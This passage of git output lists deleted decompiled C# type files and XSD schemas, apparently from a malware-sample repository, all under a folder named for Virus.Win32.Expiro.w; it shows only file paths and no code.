MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0201_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0004.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0005.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0209_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0209_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0209_0003.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0211_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0211_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0212_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0212_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0230_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0241_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0247_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0251_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0251_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0260_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0260_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0260_0003.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__enative_startup_state.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_iobuf.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ldiv_t.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_s__RTTIBaseClassDescriptor2.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_s__RTTIClassHierarchyDescriptor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_s__RTTICompleteObjectLocator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagACENUMOPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagAUTOCOMPLETELISTOPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagAUTOCOMPLETEOPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagINTERNETFEATURELIST.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagOIBDG_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagPARSEACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagPI_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagPSUACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagQUERYOPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/addressing.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/addressing04.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/gcroot_003CSystem_003A_003AString ^_003E.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/identity.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/localeinfo_struct.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/oasis-200401-wss-wssecurity-secext-1/0.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/oasis-200401-wss-wssecurity-utility-1/0.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/std/_Uninitialized.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagACTCTXW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagACTIVATEFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagADVF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagATTACHMENT_ACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagATTACHMENT_PROMPT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagApplicationType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagAspectInfoFlag.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBINDSPEED.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBINDSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBINDSTRING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBIND_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCALLCONV.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCALLTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCHANGEKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCLSCTX.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCOINIT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCOMSD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCOWAIT_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCTRLINFO.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDATADIR.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDCOM_CALL_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDESCKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDISCARDCACHE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDOMNodeType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDVASPECT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDVASPECT2.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagEOLE_AUTHENTICATION_CAPABILITIES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagEXTCONN.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagExtendedErrorParamTypes.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagExtentMode.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagFUNCFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagFUNCKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagGUIDKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagHITRESULT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagINVOKEKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagLIBFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagLOCKTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMEMCTX.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMKREDUCE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMKSYS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMSG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMSHCTX.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMSHLFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagNWMF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLECLOSE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLECONTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEDCFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEGETMONIKER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLELINKBIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEMISC.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLERENDER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEUPDATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEVERBATTRIB.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEWHICHMK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPENDINGMSG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPENDINGTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPOINTERINACTIVE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPROPBAG2_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPROPPAGESTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPROPVARIANT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPictureAttributes.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagQACONTAINERFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagREADYSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagRECT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagREGCLS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagREGKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSERVERCALL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSF_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSHCONTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSHGDN.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTATFLAG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTDMSHLFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTGC.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTGMOVE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTGTY.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTREAM_SEEK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTRRET_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSYSKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagShutdownType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTEXTMETRICA.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTEXTMETRICW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYMED.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYPEFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYPEKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYSPEC.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagUASFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagURLTEMPLATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagURLZONE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagUSERCLASSTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVARFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVARIANT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVARKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVIEWSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagXFORMCOORDS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagXMLEMEM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_CIMTYPE_ENUMERATION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEMSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEMSTATUS_FORMAT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_BACKUP_RESTORE_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_CHANGE_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_COMPARISON_FLAG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_COMPILER_OPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_CONDITION_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_CONNECT_OPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_FLAVOR_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_GENERIC_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_GENUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_INFORMATION_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_LIMITATION_FLAG_TYPE.cs delete mode 100644 